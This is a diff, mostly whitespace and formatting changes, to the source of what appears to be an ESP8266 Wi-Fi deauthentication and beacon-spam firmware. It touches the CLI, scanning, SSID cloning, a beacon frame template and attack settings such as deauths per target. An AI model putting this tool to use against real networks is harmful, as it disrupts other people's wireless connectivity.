/* 38 - 69 */ 0x20, 0x20, 0x20, 0x20,
|
||||||
0x20, 0x20, 0x20, 0x20,
|
0x20, 0x20, 0x20, 0x20,
|
||||||
0x20, 0x20, 0x20, 0x20,
|
0x20, 0x20, 0x20, 0x20,
|
||||||
0x20, 0x20, 0x20, 0x20,
|
0x20, 0x20, 0x20, 0x20,
|
||||||
0x20, 0x20, 0x20, 0x20,
|
0x20, 0x20, 0x20, 0x20,
|
||||||
0x20, 0x20, 0x20, 0x20,
|
0x20, 0x20, 0x20, 0x20,
|
||||||
0x20, 0x20, 0x20, 0x20,
|
0x20, 0x20, 0x20, 0x20,
|
||||||
0x20, 0x20, 0x20, 0x20, // SSID
|
0x20, 0x20, 0x20, 0x20, // SSID
|
||||||
|
|
||||||
// Supported Rates
|
// Supported Rates
|
||||||
/* 70 - 71 */ 0x01, 0x08, // Tag: Supported Rates, Tag length: 8
|
/* 70 - 71 */ 0x01, 0x08, // Tag: Supported Rates, Tag length: 8
|
||||||
/* 72 */ 0x82, // 1(B)
|
/* 72 */ 0x82, // 1(B)
|
||||||
/* 73 */ 0x84, // 2(B)
|
/* 73 */ 0x84, // 2(B)
|
||||||
/* 74 */ 0x8b, // 5.5(B)
|
/* 74 */ 0x8b, // 5.5(B)
|
||||||
/* 75 */ 0x96, // 11(B)
|
/* 75 */ 0x96, // 11(B)
|
||||||
/* 76 */ 0x24, // 18
|
/* 76 */ 0x24, // 18
|
||||||
/* 77 */ 0x30, // 24
|
/* 77 */ 0x30, // 24
|
||||||
/* 78 */ 0x48, // 36
|
/* 78 */ 0x48, // 36
|
||||||
/* 79 */ 0x6c, // 54
|
/* 79 */ 0x6c, // 54
|
||||||
|
|
||||||
// Current Channel
|
// Current Channel
|
||||||
/* 80 - 81 */ 0x03, 0x01, // Channel set, length
|
/* 80 - 81 */ 0x03, 0x01, // Channel set, length
|
||||||
/* 82 */ 0x01, // Current Channel
|
/* 82 */ 0x01, // Current Channel
|
||||||
|
|
||||||
// RSN information
|
// RSN information
|
||||||
/* 83 - 84 */ 0x30, 0x18,
|
/* 83 - 84 */ 0x30, 0x18,
|
||||||
|
|||||||
@@ -3,10 +3,10 @@
|
|||||||
/*
|
/*
|
||||||
Shitty code used less resources so I will keep this clusterfuck as it is,
|
Shitty code used less resources so I will keep this clusterfuck as it is,
|
||||||
but if you're interested I made a library for this: github.com/spacehuhn/SimpleCLI
|
but if you're interested I made a library for this: github.com/spacehuhn/SimpleCLI
|
||||||
*/
|
*/
|
||||||
|
|
||||||
CLI::CLI() {
|
CLI::CLI() {
|
||||||
list = new SimpleList<String>;
|
list = new SimpleList<String>;
|
||||||
queue = new SimpleList<String>;
|
queue = new SimpleList<String>;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -33,75 +33,75 @@ void CLI::disable() {
|
|||||||
}
|
}
|
||||||
|
|
||||||
void CLI::update() {
|
void CLI::update() {
|
||||||
// when serial available, read input
|
// when serial available, read input
|
||||||
if (Serial.available() > 0) {
|
if (Serial.available() > 0) {
|
||||||
String input = Serial.readStringUntil('\n');
|
String input = Serial.readStringUntil('\n');
|
||||||
exec(input);
|
exec(input);
|
||||||
}
|
}
|
||||||
|
|
||||||
// when queue is not empty, delay is off and no scan is active, run it
|
// when queue is not empty, delay is off and no scan is active, run it
|
||||||
else if ((queue->size() > 0) && !delayed && !scan.isScanning() && !attack.isRunning()) {
|
else if ((queue->size() > 0) && !delayed && !scan.isScanning() && !attack.isRunning()) {
|
||||||
String s = queue->shift();
|
String s = queue->shift();
|
||||||
exec(s);
|
exec(s);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
void CLI::stop() {
|
void CLI::stop() {
|
||||||
queue->clear();
|
queue->clear();
|
||||||
prntln(CLI_STOPPED_SCRIPT);
|
prntln(CLI_STOPPED_SCRIPT);
|
||||||
}
|
}
|
||||||
|
|
||||||
void CLI::enableDelay(uint32_t delayTime) {
|
void CLI::enableDelay(uint32_t delayTime) {
|
||||||
delayed = true;
|
delayed = true;
|
||||||
this->delayTime = delayTime;
|
this->delayTime = delayTime;
|
||||||
delayStartTime = millis();
|
delayStartTime = millis();
|
||||||
}
|
}
|
||||||
|
|
||||||
void CLI::exec(String input) {
|
void CLI::exec(String input) {
|
||||||
// quick exit when input is empty
|
// quick exit when input is empty
|
||||||
if (input.length() == 0) return;
|
if (input.length() == 0) return;
|
||||||
|
|
||||||
// check delay
|
// check delay
|
||||||
if (delayed && (millis() - delayStartTime > delayTime)) {
|
if (delayed && (millis() - delayStartTime > delayTime)) {
|
||||||
delayed = false;
|
delayed = false;
|
||||||
prntln(CLI_RESUMED);
|
prntln(CLI_RESUMED);
|
||||||
}
|
}
|
||||||
|
|
||||||
// when delay is on, add it to queue, else run it
|
// when delay is on, add it to queue, else run it
|
||||||
if (delayed) {
|
if (delayed) {
|
||||||
queue->add(input);
|
queue->add(input);
|
||||||
} else {
|
} else {
|
||||||
runLine(input);
|
runLine(input);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
void CLI::execFile(String path) {
|
void CLI::execFile(String path) {
|
||||||
String input;
|
String input;
|
||||||
|
|
||||||
if (readFile(path, input)) {
|
if (readFile(path, input)) {
|
||||||
String tmpLine;
|
String tmpLine;
|
||||||
char tmpChar;
|
char tmpChar;
|
||||||
|
|
||||||
input += '\n';
|
input += '\n';
|
||||||
|
|
||||||
while (!queue->isEmpty()) {
|
while (!queue->isEmpty()) {
|
||||||
input += queue->shift();
|
input += queue->shift();
|
||||||
input += '\n';
|
input += '\n';
|
||||||
}
|
}
|
||||||
|
|
||||||
for (int i = 0; i < input.length(); i++) {
|
for (int i = 0; i < input.length(); i++) {
|
||||||
tmpChar = input.charAt(i);
|
tmpChar = input.charAt(i);
|
||||||
|
|
||||||
|
if (tmpChar == '\n') {
|
||||||
|
queue->add(tmpLine);
|
||||||
|
tmpLine = String();
|
||||||
|
} else {
|
||||||
|
tmpLine += tmpChar;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
if (tmpChar == '\n') {
|
|
||||||
queue->add(tmpLine);
|
queue->add(tmpLine);
|
||||||
tmpLine = String();
|
|
||||||
} else {
|
|
||||||
tmpLine += tmpChar;
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
queue->add(tmpLine);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
void CLI::error(String message) {
|
void CLI::error(String message) {
|
||||||
@@ -146,9 +146,9 @@ bool CLI::eqlsCMD(int i, const char* keyword) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
void CLI::runLine(String input) {
|
void CLI::runLine(String input) {
|
||||||
String tmp;
|
String tmp;
|
||||||
|
|
||||||
for (int i = 0; i < input.length(); i++) {
|
for (int i = 0; i < input.length(); i++) {
|
||||||
// when 2 semicolons in a row without a backslash escaping the first
|
// when 2 semicolons in a row without a backslash escaping the first
|
||||||
if ((input.charAt(i) == SEMICOLON) && (input.charAt(i + 1) == SEMICOLON) &&
|
if ((input.charAt(i) == SEMICOLON) && (input.charAt(i + 1) == SEMICOLON) &&
|
||||||
(input.charAt(i - 1) != BACKSLASH)) {
|
(input.charAt(i - 1) != BACKSLASH)) {
|
||||||
@@ -1006,7 +1006,7 @@ void CLI::runCommand(String input) {
|
|||||||
scan.update(); // run scan
|
scan.update(); // run scan
|
||||||
attack.update(); // run attacks
|
attack.update(); // run attacks
|
||||||
ssids.update(); // run random mode, if enabled
|
ssids.update(); // run random mode, if enabled
|
||||||
led.update(); // update LED color
|
led.update(); // update LED color
|
||||||
|
|
||||||
// auto-save
|
// auto-save
|
||||||
if (settings.getAutosave() && (currentTime - autosaveTime > settings.getAutosaveTime())) {
|
if (settings.getAutosave() && (currentTime - autosaveTime > settings.getAutosaveTime())) {
|
||||||
|
|||||||
@@ -76,7 +76,7 @@ class CLI {
|
|||||||
uint32_t delayTime = 0;
|
uint32_t delayTime = 0;
|
||||||
uint32_t delayStartTime = 0;
|
uint32_t delayStartTime = 0;
|
||||||
|
|
||||||
String execPath = "/autostart.txt";
|
String execPath = "/autostart.txt";
|
||||||
|
|
||||||
struct Keyword {
|
struct Keyword {
|
||||||
const char* name;
|
const char* name;
|
||||||
|
|||||||
@@ -16,7 +16,7 @@ void LED::setup() {
|
|||||||
#elif defined(NEOPIXEL_LED)
|
#elif defined(NEOPIXEL_LED)
|
||||||
led = new LED::NeopixelLED(LED_NEOPIXEL_NUM, LED_NEOPIXEL_PIN, LED_MODE_BRIGHTNESS);
|
led = new LED::NeopixelLED(LED_NEOPIXEL_NUM, LED_NEOPIXEL_PIN, LED_MODE_BRIGHTNESS);
|
||||||
led->setup();
|
led->setup();
|
||||||
#endif
|
#endif // if defined(DIGITAL_LED)
|
||||||
}
|
}
|
||||||
|
|
||||||
void LED::update() {
|
void LED::update() {
|
||||||
@@ -40,15 +40,19 @@ void LED::setMode(uint8_t mode, bool force) {
|
|||||||
case LED_MODE::OFF:
|
case LED_MODE::OFF:
|
||||||
led->setColor(0, 0, 0);
|
led->setColor(0, 0, 0);
|
||||||
break;
|
break;
|
||||||
|
|
||||||
case LED_MODE::SCAN:
|
case LED_MODE::SCAN:
|
||||||
led->setColor(0, 0, 255);
|
led->setColor(0, 0, 255);
|
||||||
break;
|
break;
|
||||||
|
|
||||||
case LED_MODE::ATTACK:
|
case LED_MODE::ATTACK:
|
||||||
led->setColor(255, 255, 0);
|
led->setColor(255, 255, 0);
|
||||||
break;
|
break;
|
||||||
|
|
||||||
case LED_MODE::DEAUTH:
|
case LED_MODE::DEAUTH:
|
||||||
led->setColor(255, 0, 0);
|
led->setColor(255, 0, 0);
|
||||||
break;
|
break;
|
||||||
|
|
||||||
case LED_MODE::IDLE:
|
case LED_MODE::IDLE:
|
||||||
led->setColor(0, 255, 0);
|
led->setColor(0, 255, 0);
|
||||||
break;
|
break;
|
||||||
@@ -129,6 +133,7 @@ LED::AnalogRGBLED::AnalogRGBLED(uint8_t rPin, uint8_t gPin, uint8_t bPin, uint8_
|
|||||||
LED::AnalogRGBLED::rPin = rPin;
|
LED::AnalogRGBLED::rPin = rPin;
|
||||||
LED::AnalogRGBLED::gPin = gPin;
|
LED::AnalogRGBLED::gPin = gPin;
|
||||||
LED::AnalogRGBLED::bPin = bPin;
|
LED::AnalogRGBLED::bPin = bPin;
|
||||||
|
|
||||||
setBrightness(brightness);
|
setBrightness(brightness);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -45,7 +45,7 @@ class LED {
|
|||||||
virtual void setup() = 0;
|
virtual void setup() = 0;
|
||||||
|
|
||||||
virtual void setColor(uint8_t r, uint8_t g, uint8_t b) = 0;
|
virtual void setColor(uint8_t r, uint8_t g, uint8_t b) = 0;
|
||||||
virtual void setBrightness(uint8_t brightness) = 0;
|
virtual void setBrightness(uint8_t brightness) = 0;
|
||||||
};
|
};
|
||||||
|
|
||||||
class DigitalLED : public StatusLED {
|
class DigitalLED : public StatusLED {
|
||||||
|
|||||||
@@ -97,7 +97,7 @@ void Names::save(bool force, String filepath) {
|
|||||||
|
|
||||||
void Names::sort() {
|
void Names::sort() {
|
||||||
list->setCompare([](Device& a, Device& b) -> int {
|
list->setCompare([](Device& a, Device& b) -> int {
|
||||||
return memcmp(a.mac, b.mac, 6);
|
return memcmp(a.mac, b.mac, 6);
|
||||||
});
|
});
|
||||||
list->sort();
|
list->sort();
|
||||||
}
|
}
|
||||||
@@ -117,11 +117,11 @@ bool Names::check(int num) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
int Names::findID(uint8_t* mac) {
|
int Names::findID(uint8_t* mac) {
|
||||||
for(int i=0;i<list->size();i++){
|
for (int i = 0; i < list->size(); i++) {
|
||||||
if(memcmp(mac, list->get(i).mac, 6) == 0) return i;
|
if (memcmp(mac, list->get(i).mac, 6) == 0) return i;
|
||||||
}
|
}
|
||||||
|
|
||||||
return -1;
|
return -1;
|
||||||
}
|
}
|
||||||
|
|
||||||
String Names::find(uint8_t* mac) {
|
String Names::find(uint8_t* mac) {
|
||||||
|
|||||||
@@ -194,7 +194,7 @@ void SSIDs::add(String name, bool wpa2, int clones, bool force) {
|
|||||||
if (clones > SSID_LIST_SIZE) clones = SSID_LIST_SIZE;
|
if (clones > SSID_LIST_SIZE) clones = SSID_LIST_SIZE;
|
||||||
|
|
||||||
for (int i = 0; i < clones; i++) {
|
for (int i = 0; i < clones; i++) {
|
||||||
if(clones > 1) name = randomize(name);
|
if (clones > 1) name = randomize(name);
|
||||||
|
|
||||||
internal_add(name, wpa2, name.length());
|
internal_add(name, wpa2, name.length());
|
||||||
|
|
||||||
|
|||||||
@@ -408,21 +408,26 @@ uint32_t Scan::getPackets(int i) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
String Scan::getMode(){
|
String Scan::getMode() {
|
||||||
switch(scanMode) {
|
switch (scanMode) {
|
||||||
case SCAN_MODE_OFF:
|
case SCAN_MODE_OFF:
|
||||||
return String(SC_MODE_OFF);
|
return String(SC_MODE_OFF);
|
||||||
|
|
||||||
case SCAN_MODE_APS:
|
case SCAN_MODE_APS:
|
||||||
return String(SC_MODE_AP);
|
return String(SC_MODE_AP);
|
||||||
|
|
||||||
case SCAN_MODE_STATIONS:
|
case SCAN_MODE_STATIONS:
|
||||||
return String(SC_MODE_ST);
|
return String(SC_MODE_ST);
|
||||||
|
|
||||||
case SCAN_MODE_ALL:
|
case SCAN_MODE_ALL:
|
||||||
return String(SC_MODE_ALL);
|
return String(SC_MODE_ALL);
|
||||||
|
|
||||||
case SCAN_MODE_SNIFFER:
|
case SCAN_MODE_SNIFFER:
|
||||||
return String(SC_MODE_SNIFFER);
|
return String(SC_MODE_SNIFFER);
|
||||||
|
|
||||||
default:
|
default:
|
||||||
return String();
|
return String();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
double Scan::getScaleFactor(uint8_t height) {
|
double Scan::getScaleFactor(uint8_t height) {
|
||||||
|
|||||||
@@ -39,8 +39,7 @@ class Scan {
|
|||||||
Scan();
|
Scan();
|
||||||
|
|
||||||
void sniffer(uint8_t* buf, uint16_t len);
|
void sniffer(uint8_t* buf, uint16_t len);
|
||||||
void start(uint8_t mode, uint32_t time, uint8_t nextmode, uint32_t continueTime, bool channelHop,
|
void start(uint8_t mode, uint32_t time, uint8_t nextmode, uint32_t continueTime, bool channelHop, uint8_t channel);
|
||||||
uint8_t channel);
|
|
||||||
void start(uint8_t mode);
|
void start(uint8_t mode);
|
||||||
|
|
||||||
void setup();
|
void setup();
|
||||||
|
|||||||
@@ -19,57 +19,37 @@ void Settings::load() {
|
|||||||
|
|
||||||
// AP
|
// AP
|
||||||
if (data.containsKey(keyword(S_SSID))) setSSID(data.get<String>(keyword(S_SSID)));
|
if (data.containsKey(keyword(S_SSID))) setSSID(data.get<String>(keyword(S_SSID)));
|
||||||
|
|
||||||
if (data.containsKey(keyword(S_PASSWORD))) setPassword(data.get<String>(keyword(S_PASSWORD)));
|
if (data.containsKey(keyword(S_PASSWORD))) setPassword(data.get<String>(keyword(S_PASSWORD)));
|
||||||
|
|
||||||
if (data.containsKey(keyword(S_CHANNEL))) setChannel(data.get<uint8_t>(keyword(S_CHANNEL)));
|
if (data.containsKey(keyword(S_CHANNEL))) setChannel(data.get<uint8_t>(keyword(S_CHANNEL)));
|
||||||
|
|
||||||
if (data.containsKey(keyword(S_HIDDEN))) setHidden(data.get<bool>(keyword(S_HIDDEN)));
|
if (data.containsKey(keyword(S_HIDDEN))) setHidden(data.get<bool>(keyword(S_HIDDEN)));
|
||||||
|
|
||||||
if (data.containsKey(keyword(S_CAPTIVEPORTAL))) setCaptivePortal(data.get<bool>(keyword(S_CAPTIVEPORTAL)));
|
if (data.containsKey(keyword(S_CAPTIVEPORTAL))) setCaptivePortal(data.get<bool>(keyword(S_CAPTIVEPORTAL)));
|
||||||
|
|
||||||
// GENERAL
|
// GENERAL
|
||||||
if (data.containsKey(keyword(S_LANG))) setLang(data.get<String>(keyword(S_LANG)));
|
if (data.containsKey(keyword(S_LANG))) setLang(data.get<String>(keyword(S_LANG)));
|
||||||
|
|
||||||
if (data.containsKey(keyword(S_DISPLAYINTERFACE))) setDisplayInterface(data.get<bool>(keyword(S_DISPLAYINTERFACE)));
|
if (data.containsKey(keyword(S_DISPLAYINTERFACE))) setDisplayInterface(data.get<bool>(keyword(S_DISPLAYINTERFACE)));
|
||||||
|
|
||||||
if (data.containsKey(keyword(S_DISPLAY_TIMEOUT))) setDisplayTimeout(data.get<uint32_t>(keyword(S_DISPLAY_TIMEOUT)));
|
if (data.containsKey(keyword(S_DISPLAY_TIMEOUT))) setDisplayTimeout(data.get<uint32_t>(keyword(S_DISPLAY_TIMEOUT)));
|
||||||
|
|
||||||
if (data.containsKey(keyword(S_SERIALINTERFACE))) setCLI(data.get<bool>(keyword(S_SERIALINTERFACE)));
|
if (data.containsKey(keyword(S_SERIALINTERFACE))) setCLI(data.get<bool>(keyword(S_SERIALINTERFACE)));
|
||||||
|
|
||||||
if (data.containsKey(keyword(S_SERIAL_ECHO))) setSerialEcho(data.get<bool>(keyword(S_SERIAL_ECHO)));
|
if (data.containsKey(keyword(S_SERIAL_ECHO))) setSerialEcho(data.get<bool>(keyword(S_SERIAL_ECHO)));
|
||||||
|
|
||||||
if (data.containsKey(keyword(S_WEBINTERFACE))) setWebInterface(data.get<bool>(keyword(S_WEBINTERFACE)));
|
if (data.containsKey(keyword(S_WEBINTERFACE))) setWebInterface(data.get<bool>(keyword(S_WEBINTERFACE)));
|
||||||
|
|
||||||
if (data.containsKey(keyword(S_WEB_SPIFFS))) setWebSpiffs(data.get<bool>(keyword(S_WEB_SPIFFS)));
|
if (data.containsKey(keyword(S_WEB_SPIFFS))) setWebSpiffs(data.get<bool>(keyword(S_WEB_SPIFFS)));
|
||||||
|
|
||||||
if (data.containsKey(keyword(S_LEDENABLED))) setLedEnabled(data.get<bool>(keyword(S_LEDENABLED)));
|
if (data.containsKey(keyword(S_LEDENABLED))) setLedEnabled(data.get<bool>(keyword(S_LEDENABLED)));
|
||||||
|
|
||||||
if (data.containsKey(keyword(S_MACAP))) setMacAP(data.get<String>(keyword(S_MACAP)));
|
if (data.containsKey(keyword(S_MACAP))) setMacAP(data.get<String>(keyword(S_MACAP)));
|
||||||
|
|
||||||
if (data.containsKey(keyword(S_MACST))) setMacSt(data.get<String>(keyword(S_MACST)));
|
if (data.containsKey(keyword(S_MACST))) setMacSt(data.get<String>(keyword(S_MACST)));
|
||||||
|
|
||||||
// SCAN
|
// SCAN
|
||||||
if (data.containsKey(keyword(S_CHTIME))) setChTime(data.get<uint16_t>(keyword(S_CHTIME)));
|
if (data.containsKey(keyword(S_CHTIME))) setChTime(data.get<uint16_t>(keyword(S_CHTIME)));
|
||||||
|
|
||||||
if (data.containsKey(keyword(S_MIN_DEAUTHS))) setMinDeauths(data.get<uint16_t>(keyword(S_MIN_DEAUTHS)));
|
if (data.containsKey(keyword(S_MIN_DEAUTHS))) setMinDeauths(data.get<uint16_t>(keyword(S_MIN_DEAUTHS)));
|
||||||
|
|
||||||
// ATTACK
|
// ATTACK
|
||||||
if (data.containsKey(keyword(S_ATTACKTIMEOUT))) setAttackTimeout(data.get<uint32_t>(keyword(S_ATTACKTIMEOUT)));
|
if (data.containsKey(keyword(S_ATTACKTIMEOUT))) setAttackTimeout(data.get<uint32_t>(keyword(S_ATTACKTIMEOUT)));
|
||||||
|
|
||||||
if (data.containsKey(keyword(S_FORCEPACKETS))) setForcePackets(data.get<uint8_t>(keyword(S_FORCEPACKETS)));
|
if (data.containsKey(keyword(S_FORCEPACKETS))) setForcePackets(data.get<uint8_t>(keyword(S_FORCEPACKETS)));
|
||||||
|
|
||||||
if (data.containsKey(keyword(S_DEAUTHSPERTARGET))) setDeauthsPerTarget(data.get<uint16_t>(keyword(
|
if (data.containsKey(keyword(S_DEAUTHSPERTARGET))) setDeauthsPerTarget(data.get<uint16_t>(keyword(
|
||||||
S_DEAUTHSPERTARGET)));
|
S_DEAUTHSPERTARGET)));
|
||||||
|
|
||||||
if (data.containsKey(keyword(S_DEAUTHREASON))) setDeauthReason(data.get<uint8_t>(keyword(S_DEAUTHREASON)));
|
if (data.containsKey(keyword(S_DEAUTHREASON))) setDeauthReason(data.get<uint8_t>(keyword(S_DEAUTHREASON)));
|
||||||
|
|
||||||
if (data.containsKey(keyword(S_BEACONCHANNEL))) setBeaconChannel(data.get<bool>(keyword(S_BEACONCHANNEL)));
|
if (data.containsKey(keyword(S_BEACONCHANNEL))) setBeaconChannel(data.get<bool>(keyword(S_BEACONCHANNEL)));
|
||||||
|
|
||||||
if (data.containsKey(keyword(S_BEACONINTERVAL))) setBeaconInterval(data.get<bool>(keyword(S_BEACONINTERVAL)));
|
if (data.containsKey(keyword(S_BEACONINTERVAL))) setBeaconInterval(data.get<bool>(keyword(S_BEACONINTERVAL)));
|
||||||
|
|
||||||
if (data.containsKey(keyword(S_RANDOMTX))) setRandomTX(data.get<bool>(keyword(S_RANDOMTX)));
|
if (data.containsKey(keyword(S_RANDOMTX))) setRandomTX(data.get<bool>(keyword(S_RANDOMTX)));
|
||||||
|
|
||||||
if (data.containsKey(keyword(S_PROBESPERSSID))) setProbesPerSSID(data.get<uint8_t>(keyword(S_PROBESPERSSID)));
|
if (data.containsKey(keyword(S_PROBESPERSSID))) setProbesPerSSID(data.get<uint8_t>(keyword(S_PROBESPERSSID)));
|
||||||
|
|
||||||
if (version != VERSION) {
|
if (version != VERSION) {
|
||||||
@@ -345,8 +325,6 @@ uint32_t Settings::getAutosaveTime() {
|
|||||||
return autosaveTime;
|
return autosaveTime;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
bool Settings::getBeaconInterval() {
|
bool Settings::getBeaconInterval() {
|
||||||
return beaconInterval;
|
return beaconInterval;
|
||||||
}
|
}
|
||||||
@@ -435,17 +413,20 @@ bool Settings::getWebSpiffs() {
|
|||||||
|
|
||||||
void Settings::setDeauthsPerTarget(uint16_t deauthsPerTarget) {
|
void Settings::setDeauthsPerTarget(uint16_t deauthsPerTarget) {
|
||||||
Settings::deauthsPerTarget = deauthsPerTarget;
|
Settings::deauthsPerTarget = deauthsPerTarget;
|
||||||
changed = true;
|
|
||||||
|
changed = true;
|
||||||
}
|
}
|
||||||
|
|
||||||
void Settings::setDeauthReason(uint8_t deauthReason) {
|
void Settings::setDeauthReason(uint8_t deauthReason) {
|
||||||
Settings::deauthReason = deauthReason;
|
Settings::deauthReason = deauthReason;
|
||||||
changed = true;
|
|
||||||
|
changed = true;
|
||||||
}
|
}
|
||||||
|
|
||||||
void Settings::setBeaconChannel(bool beaconChannel) {
|
void Settings::setBeaconChannel(bool beaconChannel) {
|
||||||
Settings::beaconChannel = beaconChannel;
|
Settings::beaconChannel = beaconChannel;
|
||||||
changed = true;
|
|
||||||
|
changed = true;
|
||||||
}
|
}
|
||||||
|
|
||||||
void Settings::setForcePackets(uint8_t forcePackets) {
|
void Settings::setForcePackets(uint8_t forcePackets) {
|
||||||
@@ -457,17 +438,20 @@ void Settings::setForcePackets(uint8_t forcePackets) {
|
|||||||
|
|
||||||
void Settings::setAutosave(bool autosave) {
|
void Settings::setAutosave(bool autosave) {
|
||||||
Settings::autosave = autosave;
|
Settings::autosave = autosave;
|
||||||
changed = true;
|
|
||||||
|
changed = true;
|
||||||
}
|
}
|
||||||
|
|
||||||
void Settings::setAutosaveTime(uint32_t autosaveTime) {
|
void Settings::setAutosaveTime(uint32_t autosaveTime) {
|
||||||
Settings::autosaveTime = autosaveTime;
|
Settings::autosaveTime = autosaveTime;
|
||||||
changed = true;
|
|
||||||
|
changed = true;
|
||||||
}
|
}
|
||||||
|
|
||||||
void Settings::setBeaconInterval(bool beaconInterval) {
|
void Settings::setBeaconInterval(bool beaconInterval) {
|
||||||
Settings::beaconInterval = beaconInterval;
|
Settings::beaconInterval = beaconInterval;
|
||||||
changed = true;
|
|
||||||
|
changed = true;
|
||||||
}
|
}
|
||||||
|
|
||||||
void Settings::setChannel(uint8_t channel) {
|
void Settings::setChannel(uint8_t channel) {
|
||||||
@@ -504,22 +488,26 @@ void Settings::setPassword(String password) {
|
|||||||
|
|
||||||
void Settings::setCLI(bool cli) {
|
void Settings::setCLI(bool cli) {
|
||||||
Settings::cli = cli;
|
Settings::cli = cli;
|
||||||
changed = true;
|
|
||||||
|
changed = true;
|
||||||
}
|
}
|
||||||
|
|
||||||
void Settings::setDisplayInterface(bool displayInterface) {
|
void Settings::setDisplayInterface(bool displayInterface) {
|
||||||
Settings::displayInterface = displayInterface;
|
Settings::displayInterface = displayInterface;
|
||||||
changed = true;
|
|
||||||
|
changed = true;
|
||||||
}
|
}
|
||||||
|
|
||||||
void Settings::setWebInterface(bool webInterface) {
|
void Settings::setWebInterface(bool webInterface) {
|
||||||
Settings::webInterface = webInterface;
|
Settings::webInterface = webInterface;
|
||||||
changed = true;
|
|
||||||
|
changed = true;
|
||||||
}
|
}
|
||||||
|
|
||||||
void Settings::setChTime(uint16_t chTime) {
|
void Settings::setChTime(uint16_t chTime) {
|
||||||
Settings::chTime = chTime;
|
Settings::chTime = chTime;
|
||||||
changed = true;
|
|
||||||
|
changed = true;
|
||||||
}
|
}
|
||||||
|
|
||||||
void Settings::setMacSt(String macStr) {
|
void Settings::setMacSt(String macStr) {
|
||||||
@@ -560,17 +548,20 @@ bool Settings::setMacAP(uint8_t* macAP) {
|
|||||||
|
|
||||||
void Settings::setRandomTX(bool randomTX) {
|
void Settings::setRandomTX(bool randomTX) {
|
||||||
Settings::randomTX = randomTX;
|
Settings::randomTX = randomTX;
|
||||||
changed = true;
|
|
||||||
|
changed = true;
|
||||||
}
|
}
|
||||||
|
|
||||||
void Settings::setAttackTimeout(uint32_t attackTimeout) {
|
void Settings::setAttackTimeout(uint32_t attackTimeout) {
|
||||||
Settings::attackTimeout = attackTimeout;
|
Settings::attackTimeout = attackTimeout;
|
||||||
changed = true;
|
|
||||||
|
changed = true;
|
||||||
}
|
}
|
||||||
|
|
||||||
void Settings::setLedEnabled(bool ledEnabled) {
|
void Settings::setLedEnabled(bool ledEnabled) {
|
||||||
Settings::ledEnabled = ledEnabled;
|
Settings::ledEnabled = ledEnabled;
|
||||||
changed = true;
|
|
||||||
|
changed = true;
|
||||||
}
|
}
|
||||||
|
|
||||||
void Settings::setProbesPerSSID(uint8_t probesPerSSID) {
|
void Settings::setProbesPerSSID(uint8_t probesPerSSID) {
|
||||||
@@ -582,35 +573,42 @@ void Settings::setProbesPerSSID(uint8_t probesPerSSID) {
|
|||||||
|
|
||||||
void Settings::setHidden(bool hidden) {
|
void Settings::setHidden(bool hidden) {
|
||||||
Settings::hidden = hidden;
|
Settings::hidden = hidden;
|
||||||
changed = true;
|
|
||||||
|
changed = true;
|
||||||
}
|
}
|
||||||
|
|
||||||
void Settings::setCaptivePortal(bool captivePortal) {
|
void Settings::setCaptivePortal(bool captivePortal) {
|
||||||
Settings::captivePortal = captivePortal;
|
Settings::captivePortal = captivePortal;
|
||||||
changed = true;
|
|
||||||
|
changed = true;
|
||||||
}
|
}
|
||||||
|
|
||||||
void Settings::setMinDeauths(uint16_t minDeauths) {
|
void Settings::setMinDeauths(uint16_t minDeauths) {
|
||||||
Settings::minDeauths = minDeauths;
|
Settings::minDeauths = minDeauths;
|
||||||
changed = true;
|
|
||||||
|
changed = true;
|
||||||
}
|
}
|
||||||
|
|
||||||
void Settings::setDisplayTimeout(uint32_t displayTimeout) {
|
void Settings::setDisplayTimeout(uint32_t displayTimeout) {
|
||||||
Settings::displayTimeout = displayTimeout;
|
Settings::displayTimeout = displayTimeout;
|
||||||
changed = true;
|
|
||||||
|
changed = true;
|
||||||
}
|
}
|
||||||
|
|
||||||
void Settings::setLang(String lang) {
|
void Settings::setLang(String lang) {
|
||||||
Settings::lang = lang;
|
Settings::lang = lang;
|
||||||
changed = true;
|
|
||||||
|
changed = true;
|
||||||
}
|
}
|
||||||
|
|
||||||
void Settings::setSerialEcho(bool serialEcho) {
|
void Settings::setSerialEcho(bool serialEcho) {
|
||||||
Settings::serialEcho = serialEcho;
|
Settings::serialEcho = serialEcho;
|
||||||
changed = true;
|
|
||||||
|
changed = true;
|
||||||
}
|
}
|
||||||
|
|
||||||
void Settings::setWebSpiffs(bool webSpiffs) {
|
void Settings::setWebSpiffs(bool webSpiffs) {
|
||||||
Settings::webSpiffs = webSpiffs;
|
Settings::webSpiffs = webSpiffs;
|
||||||
changed = true;
|
|
||||||
|
changed = true;
|
||||||
}
|
}
|
||||||
@@ -104,7 +104,7 @@ class Settings {
|
|||||||
bool beaconChannel = false;
|
bool beaconChannel = false;
|
||||||
bool autosave = true;
|
bool autosave = true;
|
||||||
bool beaconInterval = false;
|
bool beaconInterval = false;
|
||||||
bool cli = true;
|
bool cli = true;
|
||||||
bool displayInterface = USE_DISPLAY;
|
bool displayInterface = USE_DISPLAY;
|
||||||
bool webInterface = true;
|
bool webInterface = true;
|
||||||
bool webSpiffs = false;
|
bool webSpiffs = false;
|
||||||
|
|||||||
@@ -28,8 +28,10 @@ int Stations::findStation(uint8_t* mac) {
|
|||||||
|
|
||||||
void Stations::sort() {
|
void Stations::sort() {
|
||||||
list->setCompare([](Station& a, Station& b) -> int {
|
list->setCompare([](Station& a, Station& b) -> int {
|
||||||
if(*(a.pkts) > *(b.pkts)) return -1;
|
if (*(a.pkts) > *(b.pkts)) return -1;
|
||||||
if(*(a.pkts) == *(b.pkts)) return 0;
|
|
||||||
|
if (*(a.pkts) == *(b.pkts)) return 0;
|
||||||
|
|
||||||
return 1;
|
return 1;
|
||||||
});
|
});
|
||||||
list->sort();
|
